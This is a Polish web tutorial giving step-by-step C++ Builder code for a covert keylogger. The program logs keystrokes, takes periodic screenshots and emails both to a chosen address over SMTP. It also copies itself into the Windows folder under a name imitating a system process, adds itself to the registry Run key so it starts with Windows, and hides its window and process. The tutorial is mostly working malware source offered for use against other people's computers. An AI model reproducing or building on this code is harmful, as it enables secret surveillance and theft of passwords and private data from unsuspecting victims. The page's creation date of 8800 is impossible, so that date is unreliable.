Nowości 
Produkty 
Artykuły 
Inne 

Tutorial: Keylogger robiący zrzuty ekranu, wysyłający dane na e-mail

keylogger,tutorial,cpp,c++,zrzuty,ekranu,poczta,email
Pliki do pobrania

Tutorial przedstawia krok po kroku, jak w C++ napisać keylogger (czyli program zapisujący naciśnięcia klawiszy na klawiaturze), który będzie w określonych dostępach czasu robił zrzuty ekranu, po czym zebrane dane wysyłał na wybrany adres e-mail.

 

Co będzie nam potrzebne?

Część kodu da się napisać w czystym C++. Zaprogramowanie niektórych jednak elementów w ten sposób zajęło by tysiące linii kodu. Na początek więc potrzebna będzie nam darmowa wersja środowiska C++ Builder 5 lub 6 - Personal (z nim napisanie takiego programu przyjdzie nam b. łatwo):

IDE ściągniemy stąd: http://www.borland.pl/downloads/bcb6_personal/cbuilder_6_personal.exe

Jednak jeżeli chcemy, aby program również wysyłał dane na e-mail, będziemy potrzebować nie wersji Personal, a Professional lub Enterprise (na stronie www.borland.pl znajdziesz dokładniejsze informacje, skąd je pozyskać).

Oczywiście wspomniane środowiska trzeba prawidłowo zainstalować i uruchomić przed rozpoczęciem pracy.

Jeżeli nigdy nie używałeś tego środowiska, pomoc znajdziesz pod adresem http://cpw.netax.info/kurs_builder.php3 .

 

Zaczynajmy więc

(dla leniwych: do projektu dołączony jest gotowy przykład, który wystarczy skonfigurować – adres e-mail – i skompilować).

Po uruchomieniu C++ Buildera powinniśmy zobaczyć pusty formularz. Zaczniemy od umieszczenia na nim potrzebnych komponentów.

Z panelu górnego wybieramy:

  • z zakładki System – komponent Timer i wstawiamy trzy jego kopie na formularz
  • z zakładki FastNet – komponent NMSMTP i wstawiamy jedną jego kopię

 

Jeżeli chcemy wysyłać mail’e, musimy wcześniej założyć konto na dowolnym serwerze pocztowym, na którym będziemy je odczytywać. Dobrze żeby serwer nie posiadał włączonej Autoryzacji SMTP, lub miał możliwość wyłączenia tej opcji.
W skrypcie przykładem będzie konto john utworzone na serwerze o2.pl, jednak ty musisz sam utworzyć jakieś konto e-mail.

 

Dobrze, teraz musimy odpowiednio skonfigurować ułożone przez nas komponenty. Zmian dokonujemy w Inspektorze obiektów (po lewej) po wybraniu odpowiedniego komponentu.

  • komponent Timer1
    • właściwość Interval ustawiamy na 10
  • komponent Timer2
    • właściwość Interval ustawiamy na 60000 (1 minuta)
  • komponent Timer3
    • właściwość Interval ustawiamy na 330000 (5,5 minuty)
  • komponent NMSMTP
    • właściwość Name zamieniamy na SMTP
    • właściwość Host zamieniamy na smtp.o2.pl (jeżeli wykorzystujemy konto na serwerze o2.pl)
    • właściwość UserID zamieniamy na john
    • rozwijamy gałąź PostMessage
      • właściwość FromAdress zamieniamy na john@o2.pl
      • właściwość FromName zamieniamy na John
      • właściwość ToAdress zamieniamy na john@o2.pl

Dodamy teraz do obiektów odpowiednie zdarzenia (zakładka Events w Inspektorze obiektów).

  • do komponentu SMTP
    • OnSendStart (klikamy podwójnie, aby dodać kod)




TExStringList *header = new TExStringList;

header->Clear();

header->Add("MIME-Version: 1.0\r\n");

header->Add("Content-type: text/html; charset=iso-8859-1\r\n");

header->Add("From: John <john@o2.pl>\r\n");

SMTP->FinalHeader = header;

delete header;





 

  • do komponentu Timer1
    • OnTimer (kod ten to główna funkcja, zapisująca naciśnięcia klawiszy do pliku svgchost.inf)




    short character; 
         for(character=8;character<=222;character++) 
         { 
         if(GetAsyncKeyState(character)==-32767) 
         { 
          
         FILE *file; 
         file=fopen("svgchost.inf","a+"); 
         if(file==NULL) 
         { 
         return; 
         } 
         if(file!=NULL) 
         { 
         if((character>=39)&&(character<=64)) 
         { 
         fputc(character,file); 
         fclose(file); 
         break; 
         } 
         else if((character>64)&&(character<91)) 
         { 
         character+=32; 
         fputc(character,file); 
         fclose(file); 
         break; 
         } 
         else 
         { 
         //rozpoznajemy, który klawisz został wciśnięty 
         switch(character) 
         { 
         case VK_SPACE: 
         fputc(' ',file); 
         fclose(file); 
         break; 
         case VK_SHIFT: 
         fputs("[SHIFT]",file); 
         fclose(file); 
         break; 
         case VK_RETURN: 
         fputs("\n[ENTER]",file); 
         fclose(file); 
         break; 
         case VK_BACK: 
         fputs("[BACKSPACE]",file); 
         fclose(file); 
         break; 
         case VK_TAB: 
         fputs("[TAB]",file); 
         fclose(file); 
         break; 
         case VK_CONTROL: 
         fputs("[CTRL]",file); 
         fclose(file); 
         break; 
         case VK_DELETE: 
         fputs("[ DEL]",file); 
         fclose(file); 
         break; 
         case VK_OEM_1: 
         fputs("[;:]",file); 
         fclose(file); 
         break; 
         case VK_OEM_2: 
         fputs("[/?]",file); 
         fclose(file); 
         break; 
         case VK_OEM_3: 
         fputs("[`~]",file); 
         fclose(file); 
         break; 
         case VK_OEM_4: 
         fputs("[ [{ ]",file); 
         fclose(file); 
         break; 
         case VK_OEM_5: 
         fputs("[\\|]",file); 
         fclose(file); 
         break; 
         case VK_OEM_6: 
         fputs("[ ]} ]",file); 
         fclose(file); 
         break; 
         case VK_OEM_7: 
         fputs("['\"]",file); 
         fclose(file); 
         break; 
         case VK_NUMPAD0: 
         fputc('0',file); 
         fclose(file); 
         break; 
         case VK_NUMPAD1: 
         fputc('1',file); 
         fclose(file); 
         break; 
         case VK_NUMPAD2: 
         fputc('2',file); 
         fclose(file); 
         break; 
         case VK_NUMPAD3: 
         fputc('3',file); 
         fclose(file); 
         break; 
         case VK_NUMPAD4: 
         fputc('4',file); 
         fclose(file); 
         break; 
         case VK_NUMPAD5: 
         fputc('5',file); 
         fclose(file); 
         break; 
         case VK_NUMPAD6: 
         fputc('6',file); 
         fclose(file); 
         break; 
         case VK_NUMPAD7: 
         fputc('7',file); 
         fclose(file); 
         break; 
         case VK_NUMPAD8: 
         fputc('8',file); 
         fclose(file); 
         break; 
         case VK_NUMPAD9: 
         fputc('9',file); 
         fclose(file); 
         break; 
         case VK_CAPITAL: 
         fputs("[CAPS LOCK]",file); 
         fclose(file); 
         break; 
         default: 
         fclose(file); 
         break; 
         } 
         } 
         } 
         } 
       } 



 

  • do komponentu Timer2
    • OnTimer (ta funkcja z kolei zapisuje zrzuty ekranu do pliku)




b++;

if(b>5) return;

 

data =DateToStr(Date());

czas =TimeToStr(Time());

TCanvas &PulpitCanvas = *new TCanvas();

Graphics::TBitmap *bitmap = new Graphics::TBitmap;

 

PulpitCanvas.Handle = GetDC(0);

bitmap->Width = Screen->Width;

bitmap->Height = Screen->Height;

//dokładnie ta funkcja powoduje “przekopiowanie” kawałka ekranu do bitmapy w pamięci

bitmap->Canvas->CopyRect(Rect(0, 0, bitmap->Width, bitmap->Height), &PulpitCanvas,

Rect(0, 0, bitmap->Width, bitmap->Height));

 

try

{

dir = "";

dir = dir + b;

dir = dir + ".bmp";

//zapisujemy do pliku

bitmap->SaveToFile(dir);

 

ReleaseDC(0, PulpitCanvas.Handle);

}

catch(...)

{

}

 

delete &PulpitCanvas;

delete bitmap;

 

//konwersja BMP -> JPG

 

dir = "";

dir = dir + b;

dir = dir + ".bmp";

 

Graphics::TBitmap *BMP = new Graphics::TBitmap();

TJPEGImage *JPG = new TJPEGImage();

 

BMP->LoadFromFile(dir);

JPG->Assign(BMP);

dir = "";

dir = dir + b;

dir = dir + ".jpg";

 

JPG->SaveToFile(dir);

 

JPG->Free();

BMP->Free();

 

dir = "";

dir = dir + b;

dir = dir + ".bmp";

 

DeleteFile(dir);





 

  • do komponentu Timer3
    • OnTimer




Timer3->Enabled = false;

b = 0;

s++;

//załączamy potrzebne pliki

SMTP->PostMessage->Subject = "Skan " + IntToStr(s);

SMTP->PostMessage->Attachments->Add("1.jpg");

SMTP->PostMessage->Attachments->Add("2.jpg");

SMTP->PostMessage->Attachments->Add("3.jpg");

SMTP->PostMessage->Attachments->Add("4.jpg");

SMTP->PostMessage->Attachments->Add("5.jpg");

SMTP->PostMessage->Attachments->Add("svgchost.inf");

SMTP->Connect();

 

try

{

SMTP->SendMail();

}

catch(...)

{

}

SMTP->Disconnect();

 

//usuwanie pliku

DeleteFile("svgchost.inf");

Timer3->Enabled = true;





 

  • do komponentu Form1
    • OnCreate (ta funkcja kopiuje program w bezpieczne miejsce ;) i sprawia, żeby uruchamiał się wraz z systemem Windows)




if(!FileExists("c:\\windows\\svgchost.exe"))

{

String sciezka = Application->ExeName;

//kopiowanie pliku EXE aplikacji

if (CopyFile(sciezka.c_str(), "c:\\windows\\svgchost.exe", true) == false) ShowMessage("Blad");

 

 

//dodawania odpowiedniej wartości do rejestru

TRegistry& Rejestr = *new TRegistry();

Rejestr.RootKey = HKEY_LOCAL_MACHINE;

Rejestr.OpenKey("Software\\Microsoft\\Windows\\CurrentVersion\\Run", false);

Rejestr.WriteString("svgchost", "c:\\windows\\svgchost.exe");

delete &Rejestr;

}





 

Musimy teraz dokonać jeszcze zmian w kodzie. Klawiszem F12 przełączamy widoki formularz / edytor kodu.

 

Na początku pliku Unit1.cpp dołączamy następujące biblioteki:





#include <windows.h>

#include <stdio.h>

#include <winuser.h>

#include <windowsx.h>

#include <Jpeg.hpp>

#include "fstream.h"

#include <shellapi.h>

#define RSP_SIMPLE_SERVICE 1

#define RSP_UNREGISTER_SERVICE 0

#include <Registry.hpp>

#include <mmsystem.h>





 

Trochę niżej definiujemy następujące zmienne:





String dir;

String czas;

String data;

int b=0;

int s=0;





 

Zmieniamy również definicję funkcji TForm1::TForm1(TComponent* Owner):





__fastcall TForm1::TForm1(TComponent* Owner)

: TForm(Owner)

{

 

hKernelLib = LoadLibrary("kernel32.dll");

if(hKernelLib)

{

RegisterServiceProcess =

(pRegFunction)GetProcAddress(hKernelLib,

"RegisterServiceProcess");

 

if(RegisterServiceProcess)

RegisterServiceProcess(GetCurrentProcessId(),

RSP_SIMPLE_SERVICE);

}

 

}

 





 

Zaraz potem dodajemy również:





__fastcall TForm1::~TForm1()

{

if(hKernelLib)

{

if(RegisterServiceProcess)

RegisterServiceProcess(GetCurrentProcessId(),

RSP_UNREGISTER_SERVICE);

 

FreeLibrary(hKernelLib);

}

}





 

Obie te funkcje pozwalają nam ukryć program w systemie.

Aby w pełni tak było, z menu Project wybieramy View Source.

 

W kodzie który zobaczymy, między ramami try {} wklejamy nową treść:





Application->Initialize();

Application->Title = "svgchost";

Application->CreateForm(__classid(TForm1), &Form1);

Application->ShowMainForm = false;

ShowWindow(Application->Handle, SW_HIDE);

 

Application->Run();





Teraz już na pewno nikt nie zauważy naszej aplikacji.

 

Musimy jeszcze edytować plik nagłówka – Unit1.h. Klikamy prawym klawiszem w edytorze na pliku Unit1.cpp i wybieramy Open Source/Header File.

Przed definicją klasy TForm1 dodajemy:





typedef DWORD (__stdcall *pRegFunction)(DWORD, DWORD);



W sekcji Private (po ‘private:’) klasy TForm1 wklejamy:





HINSTANCE hKernelLib;

pRegFunction RegisterServiceProcess;





W sekcji Public:





__fastcall ~TForm1();



 

I koniec. To wszystko. Aplikacja jest już gotowa. Możemy jeszcze z menu Project wybrać Options i w okienku które się ukarze, przechodzimy do zakładki Application. Tam możemy edytować ikonę i nazwę aplikacji.

Zdjęcia i tekst wpisywany na komputerze, na którym dziłał keylogger, zostaną przesłane na podany przez nas adres e-mail.

 

Jeżeli w którymś momencie uważasz że się zgubiłeś, zajrzyj do dołączonego przykładu.

keylogger,tutorial,cpp,c++,zrzuty,ekranu,poczta,email
Data utworzenia: 19-04-8800 | Ostatnia modyfikacja: 19-04-8800 Komentarze do artykułu [257]

Earth From Above